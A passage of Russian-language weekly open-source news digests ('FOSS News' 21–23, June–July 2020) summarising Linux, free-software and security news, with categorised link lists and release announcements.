  3. SoftMaker Office 2021 впечатляющая замена Microsoft Office в Linux (прим. по вопросу открытости см. примечание в статье!) [ (en)]
  4. Как использовать Microsoft OneDrive в Linux? [ (en)]
  5. Как поменять цвет папки в Ubuntu 20.04? [ (en)]
  6. Как настроить игровую мышь на Linux используя Piper GUI? [ (en)]
  7. Как удалить Title Bar из Firefox и сохранить немного места на экране [ (en)]

Разное


  1. Сайт, где можно заказать клавишу для замены Windows key []

Релизы


Ядро и дистрибутивы


  1. Второй бета-выпуск операционной системы Haiku R1 []
  2. Релиз дистрибутива Network Security Toolkit 32 []
  3. Релиз популярного live-дистрибутива на базе Arch Linux для восстановления данных и работы с разделами SystemRescueCd 6.1.5 []

Системный софт


  1. Релиз звуковой подсистемы Linux ALSA 1.2.3 []
  2. Новая версия почтового сервера Exim 4.94 []
  3. Выпуск пакетного фильтра nftables 0.9.5 []
  4. Предварительный выпуск nginx с поддержкой QUIC и HTTP/3 []
  5. Релиз KDE Plasma 5.19 []

Для разработчиков


  1. Выпуск Kuesa 3D 1.2, пакета для упрощения разработки 3D-приложений на Qt []
  2. Выпуск интегрированной среды разработки Apache NetBeans 12.0 []
  3. Выпуск кроссплатформенного фреймворка для создания GUI приложений U++ Framework 2020.1 []

Специальный софт


  1. Выпуск свободной системы 3D-моделирования Blender 2.83 []
  2. Выпуск графического редактора GIMP 2.10.20 []
  3. Выпуск программы для работы со спецэффектами Natron 2.3.15 []
  4. Первый выпуск Peer-to-Peer клиента федеративной сети Matrix []
  5. Доступна программа для работы с картами и спутниковыми снимками SAS.Планета 200606 []

Пользовательский софт


  1. Июньское обновление приложений KDE 20.04.2 []
  2. Релиз клиента для мгновенного обмена сообщениями Pidgin 2.14 []
  3. Релиз терминального файлового менеджера n v3.2 []
  4. Релиз браузера Vivaldi 3.1 Заметные радости []



На этом всё, до следующего воскресенья!

Выражаю благодарность Linux.com www.linux.com за их работу, подборка англоязычных источников для моего обзора взята оттуда. Также высказываю большое спасибо OpenNET www.opennet.ru, много новостных материалов и сообщений о новых релизах взято с их сайта.

Если кто интересуется составлением обзоров и имеет время и возможность помочь буду рад, пишите по контактам, указанным в моём профиле, или в личные сообщения.

Подписывайтесь на наш Telegram канал или RSS чтобы не пропустить новые выпуски FOSS News.

Предыдущий выпуск
Подробнее..

FOSS News 21 обзор новостей свободного и открытого ПО за 15-21 июня 2020 года

21.06.2020 20:19:44 | Автор: admin


Всем привет!

Продолжаем обзоры новостей свободного и открытого ПО и немного железа. Всё самое главное про пингвинов и не только, в России и мире. Дистрибутив GNU/Linux с временем загрузки 0.37 секунды, продолжение серии статей про умный дом своими руками, обзор Arch Linux от популярного видеоблоггера, архитектура нового интересного Y Messenger, снятие блокировки Telegram и многих FOSS ресурсов и многое другое.

Оглавление



  1. Главные новости
    1. Monolinux однофайловый дистрибутив, загружающийся за 0.37 секунд
    2. Умная хрущёвка на максималках. Продолжение
    3. Один из лучших? | Arch Linux (Обзор и мнение)
    4. Архитектура Y messenger
    5. Роскомнадзор снял ограничения на доступ к мессенджеру Telegram
  2. Короткой строкой
    1. Открытие кода и данных
    2. Новости FOSS организаций
    3. Ядро и дистрибутивы
    4. Системное
    5. Специальное
    6. Безопасность
    7. Для разработчиков
    8. Пользовательское
    9. Разное
  3. Релизы
    1. Ядро и дистрибутивы
    2. Системный софт
    3. Безопасность
    4. Для разработчиков
    5. Специальный софт
    6. Пользовательский софт


Главные новости



Monolinux однофайловый дистрибутив, загружающийся за 0.37 секунд





OpenNET пишет: Эрик Моквист, автор платформы Simba и инструментария cantools, развивает новый дистрибутив Monolinux, ориентированный на создание встраиваемых Linux-систем для обособленного запуска определённых приложений, написанных на языке Си. Дистрибутив примечателен тем, что программная начинка оформляется в виде одного статически скомпонованного исполняемого файла, включающего все компоненты, необходимые для работы приложения (по сути дистрибутив составляет ядро Linux и ram-диск со статически собранным init-процессом, включающим в себя приложение и необходимые библиотеки). Код распространяется под лицензией MIT. Итоговый размер сборок около 800 КБ. Плата Jiffy оснащена SoC i.MX6UL с CPU ARMv7-A (528 MHz), 1 GB DDR3 ОЗУ и 4 GB eMMC. Время загрузки на плате Jiffy составляет всего 0.37 секунд от включения до готовности файловой системы Ext4. Из этого время 1 мс уходит на аппаратную инициализацию SoC, 184 мс на выполнение кода ПЗУ, 86 мс на работу загрузчика, 62 мс на запуск ядра Linux и 40 мс на активацию Ext4. Время перезагрузки составляет 0.26 секунд.

Подробности

Умная хрущёвка на максималках. Продолжение





На Хабре вышло продолжение серии статей об умном доме своими руками. Во второй части речь идёт о том, как начать активно управлять всеми доступными системами. Для этого автор выполнил:

  1. полную беспроводную автоматизацию всего освещения;
  2. установку кнопку выключить всё;
  3. полное удалённое обесточивание квартиры (включая и сам сервер управления вместе с контроллером) и обратное удаленное включение.
  4. электронакладки (устройства поворота) для кранов на воду.


В работе были использованы Open Source инструменты и конфигурации выложены в открытый доступ.

Подробности

Предыдущая часть

Предыдущие статьи про умный дом в новостройке от того же автора:

  1. Полная домашняя автоматизация в новостройке
  2. Полная домашняя автоматизация в новостройке. Продолжение


Один из лучших? | Arch Linux (Обзор и мнение)





Популярный видеоблоггер Алексей Самойлов рассказывает об одном из самых популярных и обсуждаемых GNU/Linux дистрибутивов Arch Linux. Алексей рассказывает о происхождении дистрибутива, его предназначении, ну и делится своим мнением.

Видео

Архитектура Y messenger





На Хабре вышла техническая статья про вышедший недавно интересный Y Messenger. По словам автора: Y messenger разрабатывается чтобы быть одновременно и защищенным на уровне Tox, BitMessage, и удобным на уровне Telegram и WhatsApp. В этой статье я опишу как выглядит архитектура и какие решения были использованы чтобы достичь поставленных целей.

Подробности

Менее техническая статья о мессенджере

Роскомнадзор снял ограничения на доступ к мессенджеру Telegram





Наверняка кто-то даже не замечал что Telegram вообще блокировали, но тем не менее важная новость его разблокировали! Клиент Telegram является Open Source, поэтому новость к нам относится, но ещё важно то что за компанию с Telegram были заблокированы многие ресурсы относящиеся к FOSS. Так вот теперь их тоже разблокировали. Так, например, вновь без использования прокси и VPN стали доступны несколько ресурсов, относящихся к разработке с Qt wiki.qt.io, blog.qt.io, codereview.qt-project.org.

О разблокировке Telegram

О разблокировке некоторых KDE и Qt ресурсов

Короткой строкой



Открытие кода и данных


  1. Google опубликовал код сканера безопасности Tsunami []
  2. ABBYY NeoML: как мы делали библиотеку машинного обучения и зачем она нужна []
  3. Открыт код игр Gravity Bone, Thirty Flights of Loving и Quadrilateral Cowboy []


Новости FOSS организаций


  1. Полезного пост. Сегодня всё (не только) про Quarkus. Полезные ссылки на живые мероприятия, видео, митапы и техтолки от RedHat []
  2. Открыта регистрация ежегодную на KDE конференцию Akademy 2020! []
  3. Состоялся виртуальный спринт Plasma 2020 []
  4. Иван Чашкин: Мне нравится, что OpenStreetMap это открытые данные, которые доступны всем и всегда []
  5. Приглашаем на второй онлайн митап Zabbix []
  6. Построение поддерживаемого Open Source сообщества: тренинги и сертификации [ (en)]
  7. Почему золотые отметки от Core Infrastructure Initiative (CII) по поддержке лучших практик важны? [ (en)]
  8. Linux Foundation и Гарвардский университет анонсируют опрос FOSS контрибьюторов [ (en)]
  9. Облачная конференция по Perl и Raku []


Ядро и дистрибутивы


  1. Ядро Linux 5.8 станет самым крупным по числу изменений [ 1, 2]
  2. Проект Ubuntu выпустил сборки для развёртывания серверных платформ на Raspberry Pi и ПК [ 1, 2]
  3. Обзор Manjaro Linux: Arch Linux для простых смертных [ (en)]


Системное


  1. Я есть root. Повышение привилегий в ОС Linux через SUID/SGID []
  2. rpm-gpg-repository-mirroring Скрипт для скачивания RPM из репозиториев, для которых нельзя сделать yum proxy в Nexus []
  3. Что полезного привносят сборочный инструмент Paketo для сборки образов контейнеров разработчикам и инженерам? [ (en)]


Специальное


  1. Долгосрочное хранение данных в Elasticsearch []
  2. PIFu система машинного обучения для построения 3D-модели человека на основе 2D-снимков []
  3. Не хватает Photoshop в Linux? Используйте PhotoGIMP и превратите GIMP в Photoshop [ (en)]
  4. PDF Mix Tool утилита для частых операций при работе с PDF: слияние, разделение, поворот и т.д. [ (en)]


Безопасность


  1. Представлен Mozilla VPN []
  2. 3 причины почему для безопасного общения лучше использовать мессенджер Signal вместо Telegram []
  3. 0-day уязвимость в устройствах Netgear, позволяющая удалённо получить root-доступ []
  4. 19 удалённо эксплуатируемых уязвимостей в TCP/IP-стеке Treck []
  5. Доступна утилита для генерации базы сигнатур ClamAV на основе API Google Safe Browsing []
  6. Техника воссоздания речи через анализ вибрации лампы в подвесном светильнике []
  7. Удалённо эксплуатируемые уязвимости в подсистемах Intel AMT и ISM []
  8. Утечка поисковых ключей через DNS в Firefox и Chrome []
  9. 111 Chrome-дополнений, загруженных 32 млн раз, уличены в загрузке конфиденциальных данных []


Для разработчиков


  1. Mozilla перешла на использование общего с Chromium движка регулярных выражений []
  2. Код игры Command & Conquer: баги из 90-х. Том первый []


Пользовательское


  1. Как пользоваться youtube-dl? []
  2. Как пользоваться apt? []
  3. Установка AUR в Arch Linux 32-bit []
  4. Переменная PATH в Linux []
  5. Как проще всего перейти с macOS на Linux []
  6. В KDE Plasma 5.20 панель задач будет переведена на показ только сгруппированных пиктограмм []
  7. В Chrome намерены перейти к показу только домена в адресной строке []
  8. Оценка влияния на производительность популярных дополнений к Chrome []
  9. Простой state manager для простой работы []
  10. Что я узнал после более чем 1000 code review []
  11. Как сделать Ubuntu похожей на macOS за 5 простых шагов [ (en)]
  12. Правка ошибки The following packages have been kept back при обновлении Ubuntu и других основанных на Debian GNU/Linux дистрибутивов [ (en)]
  13. 5 лучших ToDo приложений для GNU/Linux [ (en)]


Разное


  1. Рекомендованные книги для повышения уровня мастерства в работе с GNU/Linux [ (en)]
  2. 7 функций, которые Windows 10 позаимствовала у Linux []
  3. GitHub решил отказаться от имени master для основных веток []
  4. Разработчики LLVM обсуждают прекращение использования слова master []


Релизы



Ядро и дистрибутивы


  1. Выпуск дистрибутива 4MLinux 33.0 []
  2. Летнее обновление ALT p9 starterkits []
  3. Выпуск CentOS Linux 8.2 (2004) []
  4. Релиз FreeBSD 11.4 []
  5. Mobian проект по адаптации Debian для мобильных устройств []
  6. Представлена community-редакция смартфона PinePhone с postmarketOS []
  7. Доступен Solaris 11.4 SRU22 []


Системный софт


  1. Выпуск SSH-сервера Dropbear 2020.79 []
  2. Выпуск Wi-Fi демона IWD 1.8 []


Безопасность


  1. Выпуск программы подбора паролей hashcat 6.0.0 []
  2. Релиз NightShift, свободной реализации сервиса управления сигнализацией Астра Дозор []


Для разработчиков


  1. Релиз компилятора Free Pascal 3.2 []
  2. Вышел релиз GitLab 13.0 с кластерами Gitaly, иерархией эпиков на дорожных картах и автоматическим развертыванием для ECS []
  3. Первый тестовый выпуск Qt 6 []


Специальный софт


  1. Выпуск мультимедиа-пакета FFmpeg 4.3 c поддержкой графического API Vulkan []
  2. Выпуск дистрибутива для резервного копирования Rescuezilla 1.0.6 []
  3. Выпуск Wine 5.11 и Wine staging 5.11 []


Пользовательский софт


  1. Доступен Firefox Preview 5.2 для Android []
  2. Релиз читалки Foliate 2.2.0 []
  3. Обновление GNOME 3.36.3 и KDE 5.19.1 []
  4. Выпуск растрового графического редактора Krita 4.3.0 []
  5. Обновление медиапроигрывателя VLC 3.0.11 с устранением уязвимости []
  6. Проект Xfce выпустил рабочий стол xfdesktop 4.15.0 и файловый менеджер Thunar 4.15.0 []





На этом всё, до следующего воскресенья!

Выражаю большую благодарность OpenNET, много новостных материалов и сообщений о новых релизах взято с их сайта.

Если кто интересуется составлением обзоров и имеет время и возможность помочь буду рад, пишите по контактам, указанным в моём профиле, или в личные сообщения.

Подписывайтесь на наш Telegram канал или RSS чтобы не пропустить новые выпуски FOSS News.

Предыдущий выпуск
Подробнее..

FOSS News 22 обзор новостей свободного и открытого ПО за 22-28 июня 2020 года

28.06.2020 20:20:26 | Автор: admin


Всем привет!

Продолжаем обзоры новостей свободного и открытого ПО и немного железа. Всё самое главное про пингвинов и не только, в России и мире. Новый суперкомпьютер на первом месте в TOP-500 на ARM и Red Hat Enterprise Linux, два новых ноутбука на GNU/Linux, поддержка российских процессоров в ядре Linux, обсуждение системы голосования разработанной ДИТ Москвы, весьма дискуссионный материал о смерти двойной загрузки и о единстве Windows и Linux и многое другое.

Оглавление



  1. Главные новости
    1. Рейтинг самых высокопроизводительных суперкомпьютеров возглавил кластер на базе CPU ARM и с Red Hat Enterprise Linux
    2. Начались продажи сверхмощного ноутбука на Linux Ubuntu
    3. Представлен ноутбук Dell XPS 13 Developer Edition с предустановленным Ubuntu 20.04
    4. В ядро Linux добавлена поддержка российских процессоров Baikal T1
    5. Обсуждение системы голосования, разработанной ДИТ Москвы и выложенной в открытый доступ
    6. О смерти двойной загрузки и о единстве Windows и Linux (но это не точно)
  2. Короткой строкой
    1. Новости FOSS организаций
    2. Ядро и дистрибутивы
    3. Системное
    4. Специальное
    5. Безопасность
    6. Для разработчиков
    7. Пользовательское
  3. Релизы
    1. Ядро и дистрибутивы
    2. Системный софт
    3. Для разработчиков
    4. Специальный софт


Главные новости



Рейтинг самых высокопроизводительных суперкомпьютеров возглавил кластер на базе CPU ARM и с Red Hat Enterprise Linux





OpenNET пишет: Опубликован 55-й выпуск рейтинга 500 самых высокопроизводительных компьютеров мира. Июньский рейтинг возглавил новый лидер японский кластер Fugaku, примечательный использованием процессоров ARM. Кластер Fugaku размещён в Институте физико-химических исследований RIKEN и обеспечивает производительность 415.5 петафлопс, что в 2.8 больше, чем вытесненный на второе место лидер прошлого рейтинга. Кластер включает 158976 узлов на базе SoC Fujitsu A64FX, оснащённых 48-ядерным CPU Armv8.2-A SVE (512 bit SIMD) с тактовой частотой 2.2GHz. В сумме кластер насчитывает более 7 млн процессорных ядер (в три раза больше, чем у лидера прошлого рейтинга), почти 5 ПБ ОЗУ и 150 ПБ общего хранилища на базе ФС Lustre. В качестве операционной системы используется Red Hat Enterprise Linux.

Подробности

Начались продажи сверхмощного ноутбука на Linux Ubuntu





CNews пишет: Производитель Linux-компьютеров System76 выпустил новый ноутбук Oryx Pro, способный запустить любую современную игру на максимальных настройках графики. При его покупке можно сконфигурировать почти любой его компонент и даже выбрать между ОС Linux Ubuntu и ее модифицированной версией Pop!_OS. В базовой комплектации Oryx Pro стоит $1623 (112,5 тыс. руб. по курсу ЦБ на 26 июня 2020 г.). Тогда как самая дорогая версия стоит $4959 (340 тыс. руб.).

Для Oryx Pro, по данным издания, есть варианты диагонали 15,6 и 17,3 дюймов. Используется процессор Intel Core i7-10875H, он располагает восемью ядрами с возможностью обработки 16 одновременных потоков данных и работает на частоте от 2,3 до 5,1 ГГц. Доступны варианты конфигурации оперативной памяти от 8 ГБ до 64 ГБ. По умолчанию ноутбук поставляется с графическим чипом Nvidia GeForce RTX 2060 и 6 ГБ собственной памяти стандарта GDDR6. Его можно заменить на RTX 2070 или RTX 2080 Super с 8 ГБ GDDR6.

Подробности

Представлен ноутбук Dell XPS 13 Developer Edition с предустановленным Ubuntu 20.04





OpenNET пишет: Компания Dell начала предустановку дистрибутива Ubuntu 20.04 на модель ноутбука XPS 13 Developer Edition, скомпонованного с оглядкой на применение в повседневной деятельности разработчиков программного обеспечения. Dell XPS 13 оснащён 13,4-дюймовым экраном Corning Gorilla Glass 6 19201200 (возможна замена на сенсорный экран InfinityEdge 38402400), процессором 10 Gen Intel Core i5-1035G1 (4 ядра, 6 Мб кэш, 3,6 ГГц), 8 Гб ОЗУ, SSD размером от 256 Гб до 2 Тб. Вес устройства 1,2 кг, время автономной работы до 18 часов. Серия Developer Edition развивается с 2012 года и предлагается с предустановленным Ubuntu Linux, протестированным для полной поддержки всех аппаратных компонентов устройства. Вместо ранее предлагаемого выпуска Ubuntu 18.04 модель теперь будет комплектоваться Ubuntu 20.04.

Подробности

Источник изображения

В ядро Linux добавлена поддержка российских процессоров Baikal T1





OpenNET пишет: Компания Baikal Electronics объявила о принятии в основной состав ядра Linux кода для поддержки российского процессора Baikal-T1 и основанной на нём системы на кристалле BE-T1000. Изменения с реализацией поддержки Baikal-T1 были переданы разработчикам ядра в конце мая и теперь включены в состав экспериментального выпуска ядра Linux 5.8-rc2. Рецензирование части изменений, в том числе описаний device tree, пока не завершено и данные изменения отложены для включения в ядро 5.9.

Подробности 1, 2

Обсуждение системы голосования, разработанной ДИТ Москвы и выложенной в открытый доступ





На Хабре вышло две статьи, предлагающей к изучению и обсуждению систему голосования, исходники которой недавно были выложены в открытый доступ и которая по всей видимости, и будет применяться на электронном голосовании по Конституции в Москве и Нижнем Новгороде. Первая разбирает саму систему, а вторая содержит размышления по улучшению процедуры, сформулированные по итогам обсуждения первой.

Подробности:
  1. Обсуждение системы голосования, разработанной ДИТ Москвы
  2. Требования по контролю за электронным голосованием


Источник изображения

О смерти двойной загрузки и о единстве Windows и Linux (но это не точно)





Весьма дискуссионный материал вышел на Хабре. Автор решил отказаться от продукции Apple из-за нежелания зависеть от одного вендора. Выбрал Ubuntu, иногда перезагружался в Windows для решения специфических задач. После появления WSL попробовал использовать Ubuntu не как отдельную установку, а в рамках Windows и остался доволен. Призывает последовать его примеру. Выбор конечно за каждым, а под статьей уже 480 комментариев, можно запасаться попкорном.

Подробности

Короткой строкой



Новости FOSS организаций


  1. Много eBook-ов, контейнеры Jenkins, Tekton Pipelines и 6 уроков по Istio Service Mesh. Полезные ссылки на живые мероприятия, видео, митапы и техтолки от RedHat []


Ядро и дистрибутивы


  1. Поддержка CPU AMD EPYC Rome перенесена во все актуальные выпуски Ubuntu Server []
  2. В Fedora намерены по умолчанию использовать текстовый редактор nano вместо vi []


Системное


  1. Vulkan-драйвер RADV переведён на использование бэкенда компиляции шейдеров ACO []


Специальное


  1. VPN WireGuard принят в основной состав OpenBSD []
  2. Собираем логи с Loki []
  3. Учебник по симулятору сети ns-3 теперь одним pdf-файлом []


Безопасность


  1. Microsoft выпустил редакцию пакета Defender ATP для Linux []
  2. Уязвимость в защищённом браузере Bitdefender SafePay, приводящая к выполнению кода []
  3. Компания Mozilla представила третьего провайдера DNS-over-HTTPS для Firefox []
  4. Уязвимость в UEFI для процессоров AMD, позволяющая выполнить код на уровне SMM []


Для разработчиков


  1. Bitbucket напоминает о скором удалении репозиториев Mercurial и уходит от слова Master в Git []
  2. Анонсирован Perl 7 []
  3. Лучшие 10 ресурсов для бесплатного изучения разработки shell скриптов по версии It's FOSS [ (en)]
  4. Открытые датасеты для automotive []
  5. Не хочу Visual Studio Code: 7 open source альтернатив []
  6. Как создать свой первый open source проект на Python (17 шагов) []
  7. Говорим и показываем: как мы создали сервис синхронного просмотра видео ITSkino на основе VLC []
  8. Flutter и настольные приложения []
  9. Использование секретов Kubernetes в конфигурациях Kafka Connect []
  10. Язык программирования Mash []
  11. Установка и настройка LXD на OpenNebula []
  12. Управление несколькими JDK в Mac OS, Linux и Windows WSL2 []


Пользовательское


  1. Jitsi Meet: свободное и открытое решение для проведения видеоконференций, которое ещё и можно использовать без какой-либо настройки [ (en)]
  2. Как отключить док в Ubuntu 20.04 и получить больше места на экране [ (en)]
  3. Горячие клавиши терминала GNU/Linux []
  4. Команда ps в Linux []
  5. Список процессов в Linux []


Релизы



Ядро и дистрибутивы


  1. Функциональность и стиль: выпущена новая версия Альт Рабочая станция К 9 []
  2. Вышел Calculate Linux 20.6 []
  3. Выпуск Live-дистрибутива Grml 2020.06 []
  4. Выпуск модуля LKRG 0.8 для защиты от эксплуатации уязвимостей в ядре Linux []
  5. Вышел Linux Mint 20 Ulyana []


Системный софт


  1. Релиз системы самодостаточных пакетов Flatpak 1.8.0 []
  2. Выпуск глобальной децентрализованной файловой системы IPFS 0.6 []
  3. Обновление проприетарных драйверов NVIDIA 440.100 и 390.138 с устранением уязвимостей []
  4. Для старых плат Raspberry Pi подготовлен GPU-драйвер с поддержкой API Vulkan []


Для разработчиков


  1. Релиз статического анализатора cppcheck 2.1 []
  2. Обновление редактора кода CudaText 1.105.5 []
  3. Релиз языка программирования Perl 5.32.0 []
  4. Выпуск Snuffleupagus 0.5.1, модуля для блокирования уязвимостей в PHP-приложениях []


Специальный софт


  1. Релиз минималистичного набора системных утилит BusyBox 1.32 []
  2. Выпуск curl 7.71.0 с устранением двух уязвимостей []
  3. Reddit-like агрегатор ссылок Lemmy 0.7.0 []
  4. Стабильный выпуск СУБД MariaDB 10.5 []
  5. Первый стабильный выпуск графо-ориентированной СУБД Nebula Graph []
  6. Выпуск Python-библиотеки для научных вычислений NumPy 1.19 []
  7. Выпуск SciPy 1.5.0, библиотеки для научных и инженерных расчётов []
  8. Выпуск PhotoGIMP 2020, модификации GIMP, стилизованной под Photoshop []
  9. Очередной релиз QVGE 0.5.5 (визуальный редактор графов) []





На этом всё, до следующего воскресенья!

Выражаю большую благодарность OpenNET, много новостных материалов и сообщений о новых релизах взято с их сайта.

Если кто интересуется составлением обзоров и имеет время и возможность помочь буду рад, пишите по контактам, указанным в моём профиле, или в личные сообщения.

Подписывайтесь на наш Telegram канал или RSS чтобы не пропустить новые выпуски FOSS News.

Предыдущий выпуск
Подробнее..

FOSS News 23 обзор новостей свободного и открытого ПО за 29 июня 5 июля 2020 года

05.07.2020 18:06:24 | Автор: admin


Всем привет!

Продолжаем обзоры новостей свободного и открытого ПО и немного железа. Всё самое главное про пингвинов и не только, в России и мире. Линус Торвальдс о будущем разработки ядра Linux, один из интернет-гигантов Baidu присоединился к защите Linux от патентных претензий, исторический материал об одном из создателей UNIX и C Денниса Ритчи, софтверные санкции США в отношении России, эксперимент по crowd-source разработке Конституции и многое другое.

Оглавление


  1. Главные новости
    1. Линус Торвальдс о будущем разработки ядра Linux
    2. Baidu присоединился к инициативе по защите Linux от патентных претензий
    3. Утерянная диссертация Денниса Ритчи
    4. США запретили продавать Windows и iPhone российским военным и полиции
    5. Альтернативная конституция
  2. Короткой строкой
    1. Новости FOSS организаций
    2. Ядро и дистрибутивы
    3. Системное
    4. Специальное
    5. Безопасность
    6. Для разработчиков
    7. Пользовательское
    8. Разное
  3. Релизы
    1. Ядро и дистрибутивы
    2. Системный софт
    3. Для разработчиков
    4. Специальный софт
    5. Игры
    6. Пользовательский софт

Главные новости


Линус Торвальдс о будущем разработки ядра Linux




Создатель Linux Линус Торвальдс рассказал о проблеме поиска будущих сопровождающих для операционной системы с открытым исходным кодом, пишут в новости на Хабре: Это случилось на виртуальной конференции Open Source Summit и Embedded Linux, проходящей на этой неделе. Торвальдс пообщался с руководителем VMware Дирком Хонделом. Он заявил: Я сказал, что ядро Linux скучное, но я имею в виду, что многие новые технологии должны быть более интересными. Для меня и многих других людей нет ничего более интересного, чем взаимодействие на низком уровне с оборудованием для реального контроля того, что происходит.

Подробности:

  1. Краткая новость
  2. Больше подробностей (en)

Baidu присоединился к инициативе по защите Linux от патентных претензий




Китайская компания Baidu, входящая в число крупнейших мировых производителей интернет-сервисов и продуктов, связанных с искусственным интеллектом, вошла в число участников организации Open Invention Network (OIN), занимающейся защитой экосистемы Linux от патентных претензий, пишет OpenNET. В число участников OIN входит более 3200 компаний, сообществ и организаций, подписавших лицензионное соглашение о совместном использовании патентов. Среди основных участников OIN, обеспечивающих формирование защищающего Linux патентного пула, такие компании, как Google, IBM, NEC, Toyota, Renault, SUSE, Philips, Red Hat, Alibaba, HP, AT&T, Juniper, Facebook, Cisco, Casio, Huawei, Fujitsu, Sony и Microsoft. Подписавшие соглашение компании получают доступ к имеющимся в руках OIN патентам, в обмен на обязательство не предъявлять судебных претензий за использование технологий, применяемых в экосистеме Linux дополняет издание.

Подробности

Утерянная диссертация Денниса Ритчи




Перевод интересной исторической статьи вышел на Хабре о предыстории работы Денниса Ритчи, одного из основателей UNIX и языка C, то есть двух технологий, на которых, можно без преувеличения сказать, держится весь современный компьютерный мир. Я получил степень бакалавра и учёную степень в Университете Гарварда, где студентом занимался физикой, а аспирантом прикладной математикой Темой моей докторской диссертации 1968 года были подрекурсивные иерархии функций. Опыт моей студенческой учёбы убедил меня, что я недостаточно умён для физика, и что компьютеры это довольно любопытно. Мой аспирантский опыт убедил меня, что я недостаточно умён, чтобы стать специалистом в теории алгоритмов, и что мне больше нравятся процедурные, а не функциональные языки после такого весьма критического самоанализа Ритчи встал на путь, приведший его к великим делам.

Подробности

США запретили продавать Windows и iPhone российским военным и полиции





Не совсем по теме обзоров, но тем не менее интересная новость и всё-таки имеющая определённую связь с нашими интересами. Оставив за скобками разбор отношений США и России, посмотрим сухо на факты и на отношение случившегося к FOSS. На Хабре со ссылкой на РБК пишут: США в очередной раз ужесточили правила экспортного контроля в отношении поставок товаров в Россию. 29 июня вступили в силу два новых правила. Первое правило отменяет исключение для американских экспортеров, которые до этого могли поставлять в Россию без лицензии относительно широкий спектр товаров, если они предназначены для гражданского использования гражданскими потребителями. Теперь, даже если эти товары предполагается использовать исключительно в гражданских целях, экспортеру понадобится получить специальную лицензию Минторга США. Второе правило, затрагивающее Россию, Китай и Венесуэлу, расширяет определение военного использования товаров, что сузит и без того минимальные возможности российского оборонного сектора закупать американские товары, технологии и программное обеспечение. В блоге международной юрфирмы Pillsbury Winthrop Shaw Pittman отмечается, что по новым правилам в перечень подобных товаров отныне входят iPhone и копии Microsoft Windows, а также, что их продажа военным пользователям станет практически невозможна.

Глядя на новости, неоднократно упомянутые в прошлых обзорах, военные и полиция уже и так активно переходят на софт, основанный на FOSS-разработках (вспомним хотя бы массовые закупки Astra Linux силовиками, упомянутые в 0-м обзоре vk.com/@permlug-foss-news-0). Происходящее ярко показывает, что даже казалось бы частные и далёкие от политики разработки при необходимости легко используются в противостоянии на политическом уровне, которое, впрочем, весьма часто имеет совершенно экономические основания. Принципиально не могущие иметь подобных ограничений развитые FOSS-решения, естественно, начинают набирать популярность. Конечно, встают вопросы отдачи FOSS-проектам от этого использования и соответствия ценностей тех, кто разрабатывал FOSS софт, и тех, кто становится всё более активным его пользователем. Но свободное ПО на то и свободное, что никто не имеет права судить и решать, кому можно пользоваться разработками, сделанными практически всем миром, а кому нельзя.

Подробности

Альтернативная конституция




Интересный эксперимент предложен на Хабре, делающий попытку перенести в юридическую плоскость принципы из IT и, более конкретно, FOSS его части. Автор статьи пишет: Этот пост я задумываю как рискованный эксперимент. Я хочу выяснить, могут ли ИТишники самоорганизоваться для создания открытого, свободного (от слова freedom, а не free beer), чистого, высококлассного кода, используя привычные им инструменты (Git, fork, TDD, agile, stackoverflow, абстракции, юнит-тесты и прочее). Только этот код это текст, который мог бы являться конституцией в альтернативной реальности (или фантастического рассказа), очень близкой к нашей. Если тебе не нравится чужой код напиши свой.

Подробности

Короткой строкой


Новости FOSS организаций


  1. Наши уникальные бесплатные мастер-курсы Kubernetes, CLI tool для разработчиков Odo, Java в контейнерах и много книг. Полезные ссылки на живые мероприятия, видео, митапы и техтолки от RedHat []
  2. Создатель СУБД Redis передал сопровождение проекта сообществу []
  3. Некоммерческий провайдер FossHost, предоставляющий хостинг свободным проектам []

Ядро и дистрибутивы


  1. Google работает над поддержкой Steam в Chrome OS через виртуальную машину с Ubuntu (проект Borealis) [ 1, 2, 3 (en)]
  2. Rolling Rhino, скрипт для использования rolling-обновлений в Ubuntu []
  3. Оценка изменений в выборе оборудования пользователями Linux в России за 2015-2020 годы []
  4. Бывший разработчик Solus теперь создаёт по-настоящему современный Linux дистрибутив Serpent (именно Linux а не GNU/Linux так как компоненты GNU в систему не будут включены) [ (en)]
  5. 13 вещей, которые нужно сделать после установки Linux Mint 20 [ (en)]
  6. Что означает окончание поддержки Ubuntu? Всё что нужно знать об этом [ (en)]

Системное


  1. В Firefox добавлено ускорение декодирования видео через VA-API для систем X11 []
  2. В Fedora рассматривают возможность прекращения поддержки BIOS при загрузке []
  3. Проект KDE завершил первую фазу миграции на GitLab []

Специальное


  1. От стартапа до тысяч серверов в десятке ЦОД. Как мы гнались за ростом Linux инфраструктуры []
  2. Основы Ansible, без которых ваши плейбуки комок слипшихся макарон []
  3. Почему в Docker не работает Strace []
  4. 5 современных альтернатив старым инструментам командной строки Linux []
  5. Размещаем сайт на домашнем роутере []
  6. Использование Docker для чайников []
  7. XFS, Reflink и Fast Clone. Созданы друг для друга []
  8. Бесплатный minecraft сервер на AWS с нулевым знанием Linux []
  9. Опыт эксплуатации CEPH []
  10. Ликбез: главные компоненты встраиваемой (впрочем, не только) GNU/Linux системы [ (en)]
  11. Изучаем VoIP-движок Mediastreamer2. Часть 13, заключительная []
  12. Интеграция Open vSwitch с Р-виртуализацией []
  13. Лабаем на MIDI-клавиатуре в Angular []
  14. Удаляем устаревшую feature branch в Kubernetes кластере []
  15. DNS Push-уведомления получили статус предложенного стандарта []
  16. Как создать диаграмму Парето (правило 80/20) в LibreOffice Calc [ (en)]
  17. Как сделать прозрачный фон в GIMP [ (en)]
  18. Как обрезать изображения в GIMP [ (en)]

Безопасность


  1. Chrome, Firefox и Safari ограничат время жизни TLS-сертификатов 13 месяцами []
  2. В Ubuntu 20.10 будет ограничен доступ к dmesg []
  3. Найдена причина проблем dehydrated с ACME-серверами, отличными от LetsEncrypt []
  4. Анализ миллиарда учётных записей, полученных в результате различных утечек баз пользователей []

Для разработчиков


  1. Гвидо ван Россум предложил включить в Python операторы для сопоставления с образцом (подобие switch/match) []
  2. Godot, 1000 мелочей (об игровом движке) []
  3. Ищем фильмы, книги и подкасты с помощью Python []
  4. Что нужно знать об архитектуре ClickHouse, чтобы его эффективно использовать. Алексей Зателепин (2018г) []
  5. Сущности для платформы Яндекс.Диалоги []
  6. Анализ рисков при воплощении в жизнь инициативы Perl 7 []

Пользовательское


  1. Каталог приложений на сайте KDE.org теперь доступен на русском языке []
  2. Как решить проблему no space left on device в Linux []
  3. Что за процесс kworker в Linux []

Разное


  1. Ультрабезопасный ноутбук от проекта Purism доступен с новой диагональю [ 1 (en), 2]
